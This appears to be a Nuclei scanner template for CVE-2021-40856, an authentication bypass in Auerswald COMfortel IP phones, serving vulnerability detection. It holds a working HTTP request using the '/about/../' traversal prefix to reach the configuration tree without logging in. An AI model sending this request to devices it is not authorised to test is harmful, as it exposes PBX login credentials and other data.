57 lines
2.2 KiB
YAML
57 lines
2.2 KiB
YAML
id: CVE-2021-40856
|
|
|
|
info:
|
|
name: Auerswald COMfortel 1400/2600/3600 IP - Authentication Bypass
|
|
author: gy741
|
|
severity: high
|
|
description: Auerswald COMfortel 1400/2600/3600 IP is susceptible to an authentication bypass vulnerability. Inserting the prefix "/about/../" allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data.
|
|
impact: |
|
|
An attacker can bypass authentication and gain unauthorized access to the device.
|
|
remediation: |
|
|
Apply the latest firmware update provided by Auerswald to fix the authentication bypass vulnerability.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-40856
|
|
- https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-004/-auerswald-comfortel-1400-2600-3600-ip-authentication-bypass
|
|
- https://www.redteam-pentesting.de/en/advisories/-advisories-publicised-vulnerability-analyses
|
|
- http://packetstormsecurity.com/files/165162/Auerswald-COMfortel-1400-2600-3600-IP-2.8F-Authentication-Bypass.html
|
|
- https://github.com/ARPSyndicate/cvemon
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-40856
|
|
cwe-id: CWE-706
|
|
epss-score: 0.19673
|
|
epss-percentile: 0.96195
|
|
cpe: cpe:2.3:o:auerswald:comfortel_3600_ip_firmware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: auerswald
|
|
product: comfortel_3600_ip_firmware
|
|
tags: cve2021,cve,packetstorm,comfortel,auth-bypass,auerswald
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /about/../tree?action=get HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"TYPE"'
|
|
- '"ITEMS"'
|
|
- '"COUNT"'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- application/json
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100d5399f2fa99221ecec0c3504893c2a5bde3fa7a7646fadd01154d4d68b15b58302210090afe54b7cfb39b0de5a81eaf79f981befbb8db970a6adf3545f294092b7a6b3:922c64590222798bb761d5b6d8e72950 |